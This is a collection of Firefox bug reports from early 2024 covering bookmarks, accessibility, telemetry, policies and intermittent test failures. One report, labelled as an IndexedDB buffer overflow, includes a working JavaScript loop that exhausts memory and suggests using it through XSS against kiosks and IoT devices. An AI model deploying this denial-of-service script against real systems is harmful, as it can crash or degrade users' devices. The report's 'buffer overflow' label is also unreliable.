av9ash/GitBugs huggingface dataset:
Bug: Bookmark star fails to update when bookmark added in Library
Status: NEW
Priority: P3
Created: 2024-02-27 09:49:05+00:00
Resolved: 2024-03-12 12:41:57+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0

Steps to reproduce:

1) Use the bookmarks Library (Ctrl-Shift-O) to create a folder under "Other Bookmarks". Call it "Test".
2) In the main Firefox window, navigate to some page which is not already bookmarked.
3) Click the bookmark star next to the URL ("Bookmark this page (Ctrl-D)").
4) Pick the "Other Bookmarks | Test" folder as Location and click Save.
5) Look at the star. It is now filled to show that the current page is bookmarked.
6) Right-click the page's tab to bring up its context menu and pick "Bookmark Tab..."
7) In the "Add bookmark" dialog, choose a new Location, e.g. the "Other bookmarks" folder.
8) Click the bookmark star again. Note that the "Edit bookmark" dialog now displays the latest location and offers to "Remove 2 bookmarks".
9) In the bookmarks Library, delete the original bookmark under "Test".
10) In the main window, look at the bookmark star. It is no longer filled.
11) Click the bookmark star. It correctly shows the remaining bookmark and offers to "Remove bookmark". But the bookmark star remains outlined, not filled.
12) Try deleting the remaining bookmark in Library. Nothing happens.
13) In the main window, click the bookmark star. It still shows the remaining bookmark. Click "Remove bookmark". That works.


Actual results:

1) The bookmark star becomes outlined when the first of two bookmarks for the same page is deleted (step #9 above).

2) The bookmark Library (Ctrl-Shift-O) fails to delete the second bookmark (step #12).



Expected results:

1) The bookmark star should remain filled when there is a bookmark for the page.

2) The bookmark Library should delete a bookmark as requested, or at least display an explanation as to why it can't when that fails.
Bug: The Delete Highlight button cannot be selected with the Space button
Status: VERIFIED
Priority: P1
Resolution: FIXED
Created: 2024-02-27 10:22:11+00:00
Resolved: 2024-03-04 10:09:11+00:00

**Found in**
* Nightly 125.0a1 (2024-02-27)

**Affected versions**
* Nightly 125.0a1 (2024-02-27)
* Beta 124.0b3
* Release 123

**Affected platforms**
* All

**Steps to reproduce**
1. Open a PDF in Firefox.
2. Highlight any text or free highlight anything.
3. Use the Tab key in order to reach the Delete button.
4. Use the Space key on the keyboard in order to select the Delete button.

**Expected result**
* The Highlight should be deleted.

**Actual result**
* The Space key will not select the Delete button.
The Space key can be used to select the Colors but not the Delete button.

**Regression range**
Not a regression.
Bug: Intermittent browser/base/content/test/sync/browser_sync.js | single tracking bug
Status: RESOLVED
Priority: P5
Resolution: INCOMPLETE
Created: 2024-02-27 13:43:14+00:00
Resolved: 2024-11-11 12:09:01+00:00

**Filed by:** nerli [at] mozilla.com
**Parsed log:** https://treeherder.mozilla.org/logviewer?job_id=448608484&repo=mozilla-central
**Full log:** https://firefox-ci-tc.services.mozilla.com/api/queue/v1/task/YtdNzRm0SBqRNDHIpDY_vQ/runs/0/artifacts/public/logs/live_backing.log

---
```
[task 2024-02-27T12:44:31.582Z] 12:44:31     INFO - TEST-PASS | browser/base/content/test/sync/browser_sync.js | title has correct hidden status - 
[task 2024-02-27T12:44:31.582Z] 12:44:31     INFO - TEST-PASS | browser/base/content/test/sync/browser_sync.js | title has correct value - 
[task 2024-02-27T12:44:31.583Z] 12:44:31     INFO - TEST-PASS | browser/base/content/test/sync/browser_sync.js | The panel is open to begin with. - true == true - 
[task 2024-02-27T12:44:31.583Z] 12:44:31     INFO - Leaving test bound test_ui_state_loginFailed
[task 2024-02-27T12:44:31.584Z] 12:44:31     INFO - Entering test bound test_app_menu_fxa_disabled
[task 2024-02-27T12:44:31.584Z] 12:44:31     INFO - Buffered messages finished
[task 2024-02-27T12:44:31.585Z] 12:44:31     INFO - TEST-UNEXPECTED-FAIL | browser/base/content/test/sync/browser_sync.js | Test timed out - 
[task 2024-02-27T12:44:31.585Z] 12:44:31     INFO - GECKO(1396) | Completed ShutdownLeaks collections in process 1356
```
Bug: Invalid html in aboutNetError.html: button nested in anchor
Status: RESOLVED
Priority: P3
Resolution: FIXED
Created: 2024-02-27 14:36:51+00:00
Resolved: 2024-10-26 17:34:28+00:00

[Line 94-103](https://searchfox.org/mozilla-central/rev/098f910d0593b12a42089dd8f40dcd19d1121430/toolkit/content/aboutNetError.html#94-103) contain a button nested within an anchor element. This violates the content model of anchor elements, specifically they should have no interactive content descendants ([spec](https://html.spec.whatwg.org/#the-a-element)).
Bug: Margin between the FullPage Translations Panel intro text and language selections has regressed
Status: VERIFIED
Priority: P3
Resolution: FIXED
Created: 2024-02-27 16:41:53+00:00
Resolved: 2024-03-26 11:16:32+00:00

### Description

The margin between the first-time intro text has was regressed by Bug 1870300[[D200502](https://phabricator.services.mozilla.com/D200502#change-sokHIJ1koo57)].

(See attached image for before/after)
Bug: Incorrect Pocket impressions recorded in telemetry
Status: RESOLVED
Priority: --
Resolution: FIXED
Created: 2024-02-27 21:09:53+00:00
Resolved: 2024-04-11 17:10:48+00:00

See also https://mozilla-hub.atlassian.net/browse/AD-211

I'm seeing some strange telemetry data around Kevel-provided sponsored topsites tiles, and my best guess at the moment is that something is happening in newtab that is causing duplicate incorrect Pocket impressions to happen when the user has an impression of the topsites tile.

What I'm seeing:
* For sponsored topsites tiles provided by Kevel
* There is almost exactly 1 sponsored Pocket impression for every 1 sponsored topsites impression
  * The impressions share a `tile_id` (for Kevel-provided Pocket or topsites tiles, `tile_id` is the Kevel `ad_id`)
  * There are slightly fewer Pocket impressions
* It appears that the topsites impressions are correct; in at least one case (see the linked Jira ticket), this is happening for an ad campaign that is a topsites-only campaign; there should not be any Pocket impressions

My hypothesis is that something is happening in the client such that either an incorrect Pocket impression is getting fired for each of these topsites impressions or something is getting overwritten and genuine pocket sponsored tile impressions are incorrectly using the `tile_id` from the topsites tile.

I don't know for sure whether this is in fact a client issue, and I'm happy to keep investigating as well, but I'm definitely at the point where there are other folks much better equipped to investigate this and/or point me in the right direction.

Example:
Aggregation of pocket and topsites impressions on 2024-02-24, by `tile_id` (excluding Contile `tile_id`s):
For every tile_id with > 25 topsites impressions, there are corresponding pocket impressions, and for the `tile_id`s that have >1000 impressions the numbers are very close

```
WITH events AS (
  SELECT
    event.name AS event_name,
    event.category AS event_category,
    SAFE_CAST(`mozfun.map.get_key`(event.extra, 'tile_id') AS INT64) AS spoc_id,
    SAFE_CAST(`mozfun.map.get_key`(event.extra, 'is_sponsored') AS STRING) = 'true' AS is_sponsored
  FROM
    `mozdata.firefox_desktop.newtab` e
  CROSS JOIN
    UNNEST(e.events) AS event
  WHERE
    TIMESTAMP_TRUNC(e.submission_timestamp, day) = '2024-02-24'
    AND event.name IN ('click', 'impression')
), agg AS (
SELECT 
  event_category, spoc_id,
  COUNTIF(event_name = 'impression') AS impressions,
  COUNTIF(event_name = 'click') AS clicks
FROM events
WHERE is_sponsored
GROUP BY 1,2
ORDER BY 1,2
)
SELECT a1.spoc_id, a1.impressions AS topsites_impressions, a2.impressions AS pocket_impressions
FROM agg a1
LEFT JOIN agg a2
ON a2.event_category = 'pocket'
AND a1.spoc_id = a2.spoc_id
WHERE a1.event_category = 'topsites'
AND a1.spoc_id > 999999  -- Contile tiles are all 5-digit IDs; Kevel ad IDs are much longer
ORDER BY a1.spoc_id
```
Bug: Can't tick/untick the "Allow Nightly to send backlogged crash reports on your behalf" checkbox in the Privacy and Security section of the settings page
Status: RESOLVED
Priority: --
Resolution: DUPLICATE
Created: 2024-02-28 01:41:09+00:00
Resolved: 2024-03-07 22:59:10+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0

Steps to reproduce:

I was setting up Firefox Nightly 125.0a1 (2024-02-27) (64-bit) on my new PC but I was unable to select the "Allow Nightly to send backlogged crash reports on your behalf" option in the Privacy and Security section of the settings page. Trying to tick the check box would show a text indicator for a second instead. Thank you very much.


Actual results:

I was setting up Firefox Nightly 125.0a1 (2024-02-27) (64-bit) on my new PC but I was unable to select the "Allow Nightly to send backlogged crash reports on your behalf" option in the Privacy and Security section of the settings page. Trying to tick the check box would show a text indicator instead. Thank you very much.


Expected results:

I should be able to select to allow Nightly to send backlogged crash reports on my bhalf.
Bug: Search engine shortcut tile hover area does not change the cursor to a hand pointer like other tiles
Status: NEW
Priority: P3
Created: 2024-02-28 09:43:57+00:00
Resolved: 2024-03-11 16:52:51+00:00

STR:
1. Change the default search engine to something different like DuckDuckGo.
2. Open a new tab which should now have a shortcut tile for Google search.
3. Hover the mouse cursor over the outer area of the Google search tile.

Expected:
Cursor changes to a hand pointer to indicate it is clickable.

Actual:
Cursor is unchanged, hover area does not appear clickable.

The area is clickable and activates search in the address bar using Google.
Bug: Intermittent browser/base/content/test/webextensions/browser_extension_sideloading.js | single tracking bug
Status: REOPENED
Priority: P5
Created: 2024-02-28 12:23:15+00:00
Resolved: 2025-02-24 07:17:59+00:00

**Filed by:** smolnar [at] mozilla.com
**Parsed log:** https://treeherder.mozilla.org/logviewer?job_id=448729302&repo=autoland
**Full log:** https://firefox-ci-tc.services.mozilla.com/api/queue/v1/task/aq4bqZJXQ7yzppOwXFHtDA/runs/0/artifacts/public/logs/live_backing.log

---
```
TEST-PASS | browser/base/content/test/webextensions/browser_extension_sideloading.js | The enable button is a toggle - 
[task 2024-02-28T09:03:53.096Z] 09:03:53     INFO - Test enabling sideloaded addon 2 from about:addons enable button
[task 2024-02-28T09:03:53.097Z] 09:03:53     INFO - Buffered messages finished
[task 2024-02-28T09:03:53.098Z] 09:03:53     INFO - TEST-UNEXPECTED-FAIL | browser/base/content/test/webextensions/browser_extension_sideloading.js | Test timed out - 
[task 2024-02-28T09:03:53.099Z] 09:03:53     INFO - GECKO(9816) | Completed ShutdownLeaks collections in process 4232
[task 2024-02-28T09:03:53.099Z] 09:03:53     INFO - TEST-START | Shutdown
```
Bug: The Micro Survey from the Shopping sidebar is skipped by NVDA
Status: NEW
Priority: P3
Created: 2024-02-28 13:00:04+00:00
Resolved: 2024-10-14 17:20:23+00:00

**Found in**
* Nightly 125.0a1 (2024-02-28)

**Affected versions**
* Nightly 125.0a1 (2024-02-28)
* Beta 124.0b5
* Release 123

**Affected platforms**
* All

**Preconditions:**
Enable NVDA

Reach about:config and set the following prefs:
browser.shopping.experience2023.enabled, set to true (doubleclick)
browser.shopping.experience2023.optedIn, set to 1 (doubleclick, input ‘0’, hit enter)

**Steps to reproduce**
1. Reach https://www.amazon.com/dp/B08Z7J4KV3/ref=sbl_dpx_pc-accessories-keyboards_B098LG3N6R_0
2. Trigger the Micro Survey in the Shopping Sidebar.
3. Reach the X Close button from the Shopping sidebar using the tab key.
4. Hit the Down arrow in order to read out loud the entire shopping sidebar.

**Expected result**
* the Micro Survey should be read out loud by the NVDA

**Actual result**
* The Title of the Micro Survey is read out loud but hitting down arrow again it will jump to the next "New info to check" message or card.

**Regression range**
Not a regression.
Bug: "Do not track" impossible to set via Firefox Policies
Status: RESOLVED
Priority: --
Resolution: DUPLICATE
Created: 2024-02-28 17:32:05+00:00
Resolved: 2024-03-13 14:04:47+00:00

Steps to reproduce:

It is not possible to set the "Send websites a "Do Not Track" signal that you don't want to be tracked" Option in the Firefox Settings via Firefox Policies. In the old autoconfig.js you can set "privacy.donottrackheader.enabled" but in the new Policies.json or GPO this is not possible anymore.


Actual results:

Setting this preference in the Preferences Firefox-Policy has no effect. There is no suitable option available within the Firefox Policies.


Expected results:

It should be at least possible to set privacy.donottrackheader.enabled via Preferences Firefox-Policy (see https://mozilla.github.io/policy-templates/#preferences ) so that this option can be controlled via Firefox-Polices
Bug: Urlbar-zoom-button lacks an informative accessible name for a browser zoom reset control
Status: RESOLVED
Priority: P3
Resolution: FIXED
Created: 2024-02-28 17:35:49+00:00
Resolved: 2024-07-08 14:11:24+00:00

The `urlbar-zoom-button` is currently labeled with only the on-screen text (which shows the current zoom level set, i.e. `120%`) while the purpose of this control is to reset the zoom level to 100%.

### STR:
1. Ensure a screen reader is running
1. Change a browser zoom level via `ctrl` and `+` or `-` combination or via the browser main menu
1. Confirm the browser zoom level badge was added to the Url Bar
1. Navigate to the browser zoom level badge with a screen reader and observe an announcement

### Expected:
1. From the label of this button it is clear that activating this control would set the browser zoom level to 100% / reset it. Also, the context is clear, i.e. `90%, Reset zoom level, button` or similar

### Current:
1. The control is announced as `{current level}, button`, i.e. `90%, button` - no indication that activation of this control would reset the value to 100% and no context of the meaning of this value is provided.
Bug: setAndLockPref of relevant content analysis enterprise settings
Status: RESOLVED
Priority: --
Resolution: FIXED
Created: 2024-02-28 20:31:57+00:00
Resolved: 2024-03-09 03:36:06+00:00

The following enterprise settings must not be overridden by local pref settings.  They need to use `setAndLockPref` in `Policies.sys.mjs`:

Pipe name: `browser.contentanalysis.pipe_path_name`
Pipe per-user vs per-system: `browser.contentanalysis.is_per_user`
Whether to display notification of DLP "Blocked" results: `browser.contentanalysis.show_blocked_result`
Default to "Allow" when DLP is enabled in policy but unavailable: `browser.contentanalysis.default_allow`
Timeout: `browser.contentanalysis.agent_timeout`
Allow/Deny Lists: `browser.contentanalysis.allow_url_regex_list` and `browser.contentanalysis.deny_url_regex_list`
Bug: Add content analysis info to about:support
Status: VERIFIED
Priority: --
Resolution: FIXED
Created: 2024-02-28 20:43:45+00:00
Resolved: 2024-06-11 12:12:05+00:00

`about:support` should show the important aspects of a content-analysis connection.  At least:

* DLP name
* Is DLP (believed to be) connected?
* Did DLP connection pass signature verification?

This list may be missing some things.
Bug: Filtering bookmarks does not show matching folder entries
Status: RESOLVED
Priority: --
Resolution: DUPLICATE
Created: 2024-02-28 22:35:39+00:00
Resolved: 2024-02-28 23:38:23+00:00

STR:
 - bookmark one or more page
 - select a root, e.g., Bookmarks menu
 - set a name, e.g., RustAdvanced
 - bookmark folder is created and properly filled
 - open sidebar bookmarks
 - use the filter/search, and type RustAdvanced

Expected:
 I see my folder

Actual:
 I dont see my folder
Bug: Critical Buffer Overflow Vulnerability in IndexedDB
Status: RESOLVED
Priority: --
Resolution: DUPLICATE
Created: 2024-02-29 01:44:31+00:00
Resolved: 2024-12-02 15:28:19+00:00

This script can be leveraged in post-exploitation attacks like XSS, enabling attackers to overload the computer's memory, potentially causing system shutdowns due to overload. Moreover, in scenarios involving desktop applications relying on Edge as their primary browsing function (e.g., hospital kiosks, IoT devices), if vulnerable to Command Injection, attackers could exploit this script to force complete device shutdowns, posing significant risks to browser-dependent platforms.


Reproduction steps
1) Open any web page or local file that includes the following script:

<script>
// Function to consume excessive memory with IndexedDB
var request = indexedDB.open('myDatabase'); // Opens an IndexedDB connection

request.onupgradeneeded = function(event) {
    var db = event.target.result;
    var objectStore = db.createObjectStore('store', { autoIncrement: true });

    while (true) {
        try {
            objectStore.add({ data: 'x'.repeat(11024 * 11024) }); // Adds a 1MB entry to IndexedDB
        } catch (e) {
            console.error("Error adding entry to IndexedDB:", e); // Displays any errors in the console
            break;
        }
    }
};
</script>
2) Execute the script in the browser environment.

3) Observe as the script consumes excessive memory, potentially leading to system slowdowns or crashes.

Note that this script may also be executed in local or localhost environments, exacerbating the impact on system resources.
Bug: !! long time FF problem using history and open the old links
Status: RESOLVED
Priority: --
Resolution: DUPLICATE
Created: 2024-02-29 04:31:36+00:00
Resolved: 2024-03-14 14:39:48+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0

Steps to reproduce:

open previous links


Actual results:

This problem has been going on for a long time. after clicking on the address in the history I am looking for and opening the page, it should be saved as a new one. Instead, the page address moves to the top of the list and disappears from its previous position in the history.


Expected results:

normally as in every browser after open "old" link in history, saved link  should be stay in place,not moved from the past to top of the list
Bug: Firefox 123.0, Windows 11, Bookmarks Toolbar Always Show does not work anymore
Status: RESOLVED
Priority: --
Resolution: DUPLICATE
Created: 2024-02-29 09:53:51+00:00
Resolved: 2024-03-04 15:48:56+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0

Steps to reproduce:

Start Firefox on my Windows 11 laptop (Lenovo Thinkpad) and click the menu button - Bookmarks - Show bookmarks toolbar: the bookmarks toolbar is shown.
In the bookmarks toolbar right-click in empty space: context menu opens.
Select context menu item "Bookmarks Toolbar" and next select "Always Show": there is a check-mark before "Always Show".
In the topbar of Firefox click the "+" button.


Actual results:

A new tab page opens, but the Bookmarks Toolbar is not shown.


Expected results:

The Bookmarks Toolbar should have been shown on the new tab page.
Bug: Intermittent browser/components/customizableui/test/browser_PanelMultiView.js | single tracking bug
Status: RESOLVED
Priority: P5
Resolution: INCOMPLETE
Created: 2024-02-29 13:08:04+00:00
Resolved: 2025-01-08 12:04:49+00:00

**Filed by:** nfay [at] mozilla.com
**Parsed log:** https://treeherder.mozilla.org/logviewer?job_id=448929807&repo=mozilla-central
**Full log:** https://firefox-ci-tc.services.mozilla.com/api/queue/v1/task/Mk_8zjKoQV2UEdioY0VovQ/runs/0/artifacts/public/logs/live_backing.log

---
```
[task 2024-02-29T11:15:10.935Z] 11:15:10     INFO - TEST-PASS | browser/components/customizableui/test/browser_PanelMultiView.js | Visibility of label in view 0 - true == true - 
[task 2024-02-29T11:15:10.936Z] 11:15:10     INFO - TEST-PASS | browser/components/customizableui/test/browser_PanelMultiView.js | Visibility of label in view 3 - false == false - 
[task 2024-02-29T11:15:10.937Z] 11:15:10     INFO - TEST-PASS | browser/components/customizableui/test/browser_PanelMultiView.js | Visibility of label in view 0 - false == false - 
[task 2024-02-29T11:15:10.938Z] 11:15:10     INFO - Leaving test bound test_simple
[task 2024-02-29T11:15:10.938Z] 11:15:10     INFO - Entering test bound test_simple_event_sequence
[task 2024-02-29T11:15:10.939Z] 11:15:10     INFO - Event on panelview-0: ViewShowing
[task 2024-02-29T11:15:10.940Z] 11:15:10     INFO - Buffered messages finished
[task 2024-02-29T11:15:10.940Z] 11:15:10     INFO - TEST-UNEXPECTED-FAIL | browser/components/customizableui/test/browser_PanelMultiView.js | Test timed out - 
[task 2024-02-29T11:15:10.941Z] 11:15:10     INFO - GECKO(1884) | Completed ShutdownLeaks collections in process 5908
[task 2024-02-29T11:15:10.941Z] 11:15:10     INFO - TEST-START | Shutdown
[task 2024-02-29T11:15:10.942Z] 11:15:10     INFO - Browser Chrome Test Summary
[task 2024-02-29T11:15:10.942Z] 11:15:10     INFO - Passed:  1256
[task 2024-02-29T11:15:10.943Z] 11:15:10     INFO - Failed:  1
[task 2024-02-29T11:15:10.943Z] 11:15:10     INFO - Todo:    0
[task 2024-02-29T11:15:10.944Z] 11:15:10     INFO - Mode:    e10s
[task 2024-02-29T11:15:10.945Z] 11:15:10     INFO - *** End BrowserChrome Test Results ***
```
Bug: very few addressbar suggestions depending how fast text is typed into addessbar
Status: RESOLVED
Priority: --
Resolution: WORKSFORME
Created: 2024-02-29 16:05:42+00:00
Resolved: 2024-03-18 15:47:50+00:00

Firefox 125.0a1 20240229093832 on Windows 10

When I type `bugz 1882` into the address bar, either 9 history and open tab suggestions are shown or only 3. The 9 suggestions can only be reproduced if I type very fast (does the code to show the suggestion for `bugz 188` not complete?). Search suggestions are disabled.

Expected: 9 history and tab suggestions.
Bug: firefox verification code
Status: RESOLVED
Priority: --
Resolution: WONTFIX
Created: 2024-02-29 20:46:05+00:00
Resolved: 2024-07-24 23:56:06+00:00

Steps to reproduce:

firefox requires verification code with two factor authentication disabled


Actual results:

firefox requires verification code with two factor authentication disabled


Expected results:

firefox should not require verification code with two factor authentication disabled